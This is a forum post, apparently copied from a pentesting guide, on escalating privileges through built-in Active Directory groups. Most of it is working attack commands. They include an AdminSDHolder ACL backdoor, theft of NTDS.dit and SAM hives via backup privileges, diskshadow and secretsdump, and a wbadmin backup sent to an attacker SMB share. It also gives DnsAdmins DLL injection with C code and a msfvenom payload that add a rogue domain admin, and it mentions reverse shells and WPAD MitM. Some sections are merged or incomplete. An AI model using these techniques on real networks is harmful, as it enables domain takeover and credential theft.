- Регистрация
- 20.01.2011
- Сообщения
- 7,665
- Розыгрыши
- 0
- Реакции
- 135
Account Operators
This group is empowered to create accounts and groups that are not administrators on the domain. Additionally, it enables local login to the Domain Controller (DC).To identify the members of this group, the following command is executed:
Код:
Get-NetGroupMember -Identity "Account Operators" -Recurse
AdminSDHolder group
The AdminSDHolder group's Access Control List (ACL) is crucial as it sets permissions for all "protected groups" within Active Directory, including high-privilege groups. This mechanism ensures the security of these groups by preventing unauthorized modifications.An attacker could exploit this by modifying the AdminSDHolder group's ACL, granting full permissions to a standard user. This would effectively give that user full control over all protected groups. If this user's permissions are altered or removed, they would be automatically reinstated within an hour due to the system's design.
Commands to review the members and modify permissions include:
Код:
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
For more details, visit Для просмотра ссылки Войди
AD Recycle Bin
Membership in this group allows for the reading of deleted Active Directory objects, which can reveal sensitive information:
Код:
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
Domain Controller Access
Access to files on the DC is restricted unless the user is part of the Server Operators group, which changes the level of access.Privilege Escalation
Using PsService or sc from Sysinternals, one can inspect and modify service permissions. The Server Operators group, for instance, has full control over certain services, allowing for the execution of arbitrary commands and privilege escalation:
Код:
C:\> .\PsService.exe security AppReadiness
Backup Operators
Membership in the Backup Operators group provides access to the DC01 file system due to the SeBackup and SeRestore privileges. These privileges enable folder traversal, listing, and file copying capabilities, even without explicit permissions, using the FILE_FLAG_BACKUP_SEMANTICS flag. Utilizing specific scripts is necessary for this process.To list group members, execute:
Код:
Get-NetGroupMember -Identity "Backup Operators" -Recurse
Local Attack
To leverage these privileges locally, the following steps are employed:
Import necessary libraries:
Код:
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Enable and verify SeBackupPrivilege:
Код:
Set-SeBackupPrivilege
Get-SeBackupPrivilege
Access and copy files from restricted directories, for instance:
Код:
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
AD Attack
Direct access to the Domain Controller's file system allows for the theft of the NTDS.dit database, which contains all NTLM hashes for domain users and computers.Using diskshadow.exe
Create a shadow copy of the C drive:
Код:
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
Copy NTDS.dit from the shadow copy:
Код:
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
Код:
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
- Extract SYSTEM and SAM for hash retrieval:
Код:
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
Retrieve all hashes from NTDS.dit:
Код:
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
Using wbadmin.exe
Set up NTFS filesystem for SMB server on attacker machine and cache SMB credentials on the target machine.
Use wbadmin.exe for system backup and NTDS.dit extraction:
Код:net use X: \\<AttackIP>\sharename /user:smbuser password echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds wbadmin get versions echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
DnsAdmins
Members of the DnsAdmins group can exploit their privileges to load an arbitrary DLL with SYSTEM privileges on a DNS server, often hosted on Domain Controllers. This capability allows for significant exploitation potential.To list members of the DnsAdmins group, use:
Код:
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
Execute arbitrary DLL
Members can make the DNS server load an arbitrary DLL (either locally or from a remote share) using commands such as:
Код:
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and
Код:
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
Код:
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
Код:
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
Mimilib.dll
It's also feasible to use mimilib.dll for command execution, modifying it to execute specific commands or reverse shells. Для просмотра ссылки ВойдиWPAD Record for MitM
DnsAdmins can manipulate DNS records to perform Man-in-the-Middle (MitM) attacks by creating a WPAD record after disabling the global query block list. Tools like Responder or Inveigh can be used for spoofing and capturing network traffic.### Event Log Readers Members can access event logs, potentially finding sensitive information such as plaintext passwords or command execution details:
Код:
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
Exchange Windows Permissions
This group can modify DACLs on the domain object, potentially granting DCSync privileges. Techniques for privilege escalation exploiting this group are detailed in Exchange-AD-Privesc GitHub repo.
Код:
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
Hyper-V Administrators
Hyper-V Administrators have full access to Hyper-V, which can be exploited to gain control over virtualized Domain Controllers. This includes cloning live DCs and extracting NTLM hashes from the NTDS.dit file.Exploitation Example
Firefox's Mozilla Maintenance Service can be exploited by Hyper-V Administrators to execute commands as SYSTEM. This involves creating a hard link to a protected SYSTEM file and replacing it with a malicious executable:
Код:
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance
Organization Management
In environments where Microsoft Exchange is deployed, a special group known as Organization Management holds significant capabilities. This group is privileged to access the mailboxes of all domain users and maintains full control over the 'Microsoft Exchange Security Groups' Organizational Unit (OU). This control includes the Exchange Windows Permissions group, which can be exploited for privilege escalation.Privilege Exploitation and Commands
Print Operators
Members of the Print Operators group are endowed with several privileges, including the SeLoadDriverPrivilege, which allows them to log on locally to a Domain Controller, shut it down, and manage printers. To exploit these privileges, especially if SeLoadDriverPrivilege is not visible under an unelevated context, bypassing User Account Control (UAC) is necessary.To list the members of this group, the following PowerShell command is used:
Код:
Get-NetGroupMember -Identity "Print Operators" -Recurse
Remote Desktop Users
This group's members are granted access to PCs via Remote Desktop Protocol (RDP). To enumerate these members, PowerShell commands are available:
Код:
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
Remote Management Users
Members can access PCs over Windows Remote Management (WinRM). Enumeration of these members is achieved through:
Код:
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
Server Operators
This group has permissions to perform various configurations on Domain Controllers, including backup and restore privileges, changing system time, and shutting down the system. To enumerate the members, the command provided is:
Код:
Get-NetGroupMember -Identity "Server Operators" -Recurse
References
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся